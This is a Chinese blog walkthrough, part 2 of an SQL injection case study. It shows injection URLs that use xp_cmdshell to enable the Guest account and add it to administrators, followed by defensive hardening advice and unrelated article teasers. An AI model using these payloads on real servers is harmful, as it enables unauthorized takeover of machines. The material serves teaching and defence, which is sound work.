典型的 SQL 注入过程（2）
作者：手气不错 来源：Gracecode.com 发布时间：2009-11-19 13:02:00
标签：注入,sql,漏洞,服务器
提权
解禁 Guest 用户
http://foo/rss.aspx?keyword=lucky'));exec％09Master..xp_CMDShell％09'net％09user％09guest％09/active:yes';--
相当于服务器执行
net user guest /active:yes
再将 Guest 加入到管理员组
http://foo/rss.aspx?keyword=lucky'));exec％09Master.xp_CMDShell％09'net％09localgroup％09administrators％09guest％09/add';--
相当于服务器执行
net localgroup administrators guest /add
上述请求顺利执行成功，然后打开目标主机的远程登录，输入用户名“guest”密码为空登录，结果顺利登录 （运气和相貌都很重要 :P）。
重新关上 Guest 帐户，并通知主机管理员，至此攻击结束。
后记
正如上文所描述的，SQL 漏洞危害非常的巨大，但我相信国内很多中小站点还普遍存在着这样的漏洞。这里有些个人的不完全建议
代码要对输入的参数做到充分的过滤，并尽可能得考虑极端情况
错误信息尽可能的少，否则无关的人看不懂而有心的人就会提起兴趣
不要以管理员的身份运行服务器进程
某些情况下，net 命令对于攻击者而言就是“微软牌”的木马
严格控制远程登录访问者的来源
如果可能的情况下，不是很推荐使用 Windows 作为服务器操作系统
-- EOF --
0
投稿猜你喜欢
- 上星期我和一个有实力的站长交谈，学到了不少东西。他做网站已经有7年的时间，放在现实中算得上是“元老”了。但是，网络这东西变化、更新太快，过去
10月的北京城冷热交加，可谓是 * 两重天，近日由51WAN。com主办，由众惠网、17173。com协办的“&r- 在织梦系统中有内容模型这个概念，不同内容模型可以用来构建不同内容形式的站点，在系统中自带了以下几种模型：普通文章、图集、软件、商品、分类信息
- V5Shop联盟系统第三方嵌入式整合接口开通通过不断研发，风靡一时的V5SHOP联盟系统今日终于再次发布一大功能模块-----第三方网店系统
- 在做站的过程中，有时会出现：UCenter后台 => 应用管理，不小心删除了某个应用的问题。本篇教程，笔者就以Discuz!应用为例来
- 草根网站比门户网站更有前途，此话并非空穴来风，在网络发展不停的泡沫和务实中挣扎中，无数的web2.0 等概念性的网站，越来越经受不起现实的压
- 昨天，Google黑板报贴出了《Google搜索引擎优化初学者指南》的文章，给“SEO 初学者，我应该怎样改进我的网站?
- 最近在研究本站：www.seocompany.sh.cn 网站优化的时候，发现本站内容不足，于是决定采取增加BLOG的策略。但，天下之大，B
- {$ggas_text$}Simon已经在如何申请Goolge AdSense一文中跟大家介绍简单介绍和提示一点如何填写申请表如英译的相关资
- 防复制的一个非常好的办法就是将文字替换为图片，汉字的数量非常庞大，总数大约九万左右，如果全部替换的话那先期工作将非常庞大，我们就要想其他的好
- RHEL4中的vsftpd在编译时已经支持tcp_wrappers，因此可以利用tcp_wrappers实现主机访问控制。实验之前，首先说下
- Windows2000 含有很多的安全功能和选项，如果你合理的配置它们，那么windows 2000将会是一个很安全的操作系统。初级安全篇
- 很多网站运营者都非常关注他们网站的网页级别PR值（Google PageRank）值大小，有的甚至将网站PR值与搜索引擎优化效果直接划上等号
- 人之患在好为人师。陈国华邀请我加入“创业圈”群，并讲讲创业，其实我没什么资格给大家讲创业。我只是觉得现在的年轻人在理解别人说过的话的方面比较
- 当提到内容的创意时，我们通常会把主要的注意力集中到提高内容可信度上，似乎我们正在写一些系列化的书籍，然而，博客并不是一本书。实际上，网上的博
- 几个月前我问网友：对于网赚联盟营销，他们最希望了解什么。经过筛选，我挑出了15个问题。然后找到了三个朋友，让他们来回答这15个关于网赚联盟
- WordPress 2.5的原生相册功能其实很好用的，我觉得现在已经无必要再去找一款专门的相册程序，对于一般的blogger而言。相册在后台
- 其实无论是组件还是非组件上传，都有这个漏洞，以下代码请需要得朋友仔细阅读，只要读懂代码就能融会贯通。这里以ASPUPLOAD组件上传为例以下
- 做博客和个人网站的朋友们注意了，辛辛苦苦做网站和编辑博客，好不容易来几个流量，本来以为可以赚点广告费来支撑站点的正常运营，可是每次点击只有几
- 要把这两个事情说清楚，得必须回到最开始谈论IT的时候，甚至我还复习软件工程知识。因为我本人学软件出身，所以经常会与之做类比，追本溯源可以把理
